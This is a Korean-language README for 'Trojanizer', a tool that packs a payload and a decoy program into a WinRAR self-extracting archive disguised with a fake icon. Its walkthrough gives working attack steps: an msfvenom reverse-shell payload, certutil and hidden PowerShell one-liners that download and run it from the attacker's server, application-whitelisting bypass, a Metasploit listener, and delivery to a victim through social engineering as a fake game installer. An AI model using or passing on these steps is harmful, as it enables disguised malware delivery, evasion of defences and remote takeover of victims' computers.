
페이로드를 트로이 목마화 - WinRAR (SFX) 자동화 - Linux 배포판에서
버전 릴리스 : v1.1 (Stable)
저자 : pedro ubuntu [ r00t-3xp10it ]
코드네임: Troia_Revisited
지원 배포판 : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam 개발 @2017
Trojanizer 도구는 WinRAR (SFX)를 사용하여 사용자가 입력한 두 파일을 압축하고,
이를 SFX 실행 파일(.exe) 아카이브로 변환합니다. SFX 아카이브가 실행되면
두 파일(페이로드와 정식 애플리케이션)을 동시에 실행합니다.
실행 시 아카이브가 대상에게 덜 의심스럽게 보이도록 하기 위해, trojanizer는
SFX 파일의 기본 아이콘(.ico)을 사용자가 선택한 아이콘으로 교체하고,
모든 SFX 아카이브 샌드박스 메시지를 숨깁니다(Silent=1 | Overwrite=1).
'Trojanizer는 트로이 목마를 만들지는 않지만, 대상의 관점에서는 트로이 목마의 동작을 복제합니다'
(백그라운드에서 페이로드를 실행하고, 포그라운드에서는 정식 애플리케이션을 실행합니다).
Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
"Trojanizer.sh는 필요할 때 모든 의존성을 다운로드/설치합니다"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
| 처음 도구를 실행하기 전에 'settings' 파일에서 옵션을 편집하고 설정하는 것이 좋습니다: SYSTEM_ARCH=[ your_sys_arch ] |
| (시스템 아키텍처에 맞게 설정) |
╚────────────────────────────────────────────────────────────────────────────────────────────╝
Trojanizer v1.1-Stable
.exe | .bat | .vbs | .ps1
"Windows/SFX가 자동으로 압축 해제 및 실행할 수 있는 모든 페이로드"
힌트: 설정 파일에서 'SINGLE_EXEC=ON'을 선택하면,
trojanizer는 모든 확장자를 입력받을 수 있습니다.
.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | 등 ..
"Windows/SFX가 자동으로 압축 해제 및 실행할 수 있는 모든 애플리케이션"
╔─────────────────────────────────────────────────────────────────────────────────────────╗
| Trojanizer '고급 옵션'은 'settings' 파일에서만 접근할 수 있으며, |
| 메인 도구(Trojanizer.sh)를 실행하기 전에만 설정할 수 있습니다. |
╚─────────────────────────────────────────────────────────────────────────────────────────╝
-- 사전 설정 고급 옵션
Trojanizer는 두 압축 파일(SFX 아카이브)을 추출/실행하기 전에 프로그램 + 명령어를 실행하도록
설정할 수 있습니다. 이를 통해 사용자는 대상 시스템에서 실제 추출이 발생하기 전에 원격 명령을 실행하기 위해
사전 설치된 소프트웨어를 활용할 수 있습니다.
활성화되면, trojanizer가 실행할 명령을 묻습니다 (zenity 샌드박스)
Trojanizer v1.1-Stable
-- 단일 파일 실행
다음과 같은 시나리오를 생각해 보겠습니다: 추출 시 실행해야 하는 dll 페이로드가 있지만,
SFX 아카이브는 dll 파일을 직접 실행할 수 없습니다. 이 설정을 통해 사용자는
dll 페이로드를 실행하는 데 사용할 하나의 배치 스크립트(.bat)를 입력할 수 있습니다.
Trojanizer가 해야 할 일은 SFX 아카이브에 두 파일을 추출한 다음 script.bat를 실행하도록 지시하는 것입니다.
Trojanizer v1.1-Stable
╔────────────────────────────────────────────────────────────────────────────────────────────────╗
| 단일 파일 실행 스위치의 기본 동작은 사용자가 입력한 두 파일을 압축하지만 |
| 추출 시 그중 하나만 실행하는 것입니다 (두 번째 입력 파일이 실행됩니다) .. |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| 특히 @subTee에 의해 많은 훌륭한 작업이 수행되었으며, 애플리케이션 허용 목록 우회와 관련하여 많은 사람들이 기여했습니다. |
| 이것이 우리가 여기서 원하는 것입니다: Microsoft 내장 바이너리를 남용하여 임의 코드를 실행하는 것입니다. |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
다음 연습에서는 trojanizer의 '단일 파일 실행' 및 '사전 설정' 고급 스위치를 사용하여
'certutil' 또는 'powershell' 애플리케이션 허용 목록 우회 원라이너를 이용해
원격으로 페이로드를 다운로드하고 실행하는 방법을 설명합니다.
1º - metasploit을 사용하여 페이로드 생성
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe
2º - payload.exe를 apache2 웹루트로 복사하고 서비스 시작
cp payload.exe /var/www/html/payload.exe
service apache2 start
3º - Trojanizer 'settings' 파일을 편집하고 다음을 활성화:
PRE_SETUP=ON
SINGLE_EXEC=ON
4º - trojanizer 도구 실행
압축할 페이로드 => <path-to>/screenshot.png (무엇을 압축하는지는 중요하지 않음)
추출 시 실행할 파일 => <path-to>/AngryBirds.exe (미끼 애플리케이션으로 실행됨)
사전 설정 샌드박스 => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
SFX 파일명 => AngryBirds_installer (생성될 SFX 아카이브 이름)
아이콘 교체 => Windows-Store.ico 또는 Steam-logo.ico
5º - 리스너를 시작하고 사회 공학을 통해 대상에게 SFX 아카이브 전송
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'
╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
| SFX 아카이브가 실행되면, 우리의 apache2 웹서버에서 payload.exe를 대상으로 다운로드하고 |
| 'screenshot.png'와 'AngryBirds.exe'를 추출하기 전에 실행합니다 (마지막 파일은 미끼 역할로 실행됨) |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝
다음 원라이너는 'powershell(Downloadfile+start)' 방식을 사용하여 이전 'certutil' 연습과 동일한 작업을 수행합니다 ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'
다음 원라이너는 'powershell(IEX+downloadstring)' 방식을 사용하여 거의 동일한 작업을 수행합니다 (payload.ps1이 디스크에 저장되지 않음)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"
1º - github에서 프레임워크 다운로드
git clone https://github.com/r00t-3xp10it/trojanizer.git
2º - 파일 실행 권한 설정
cd trojanizer
sudo chmod +x *.sh
3º - 프레임워크 설정
nano settings
4º - 메인 도구 실행
sudo ./Trojanizer.sh
xsf.conf - 추출 시 두 파일 모두 실행 (트로이 목마 동작)
Trojanizer v1.1-Stable
xsf.conf - 단일 파일 실행 + 사전 설정 (고급 옵션)
Trojanizer v1.1-Stable
xsf.conf - 단일 파일 실행 + 사전 설정 + 애플리케이션 허용 목록 우회 (certutil)
Trojanizer v1.1-Stable
xsf.conf - 단일 파일 실행 + 사전 설정 + 애플리케이션 허용 목록 우회 (powershell IEX)
Trojanizer v1.1-Stable
아이콘이 변경된 최종 SFX 아카이브
Trojanizer v1.1-Stable
SFX 아카이브 내부 (winrar로 열기) - 트로이 목마 동작
Trojanizer v1.1-Stable
SFX 아카이브 내부 (winrar로 열기) - 단일 파일 실행
Trojanizer v1.1-Stable
Trojanizer - AVG 안티바이러스 가짜 설치 프로그램 (트로이 목마 동작)
https://www.youtube.com/watch?v=BIn6_ccZrI0
Trojanizer - 단일 파일 실행 (트로이 목마 동작 아님)
https://www.youtube.com/watch?v=Ze0JkVtKbns
@subTee | @enigma0x3 | @H4d3s (SSA)
참고 자료:
http://acritum.com/software/manuals/winrar/
https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
https://github.com/r00t-3xp10it/trojanizer/issues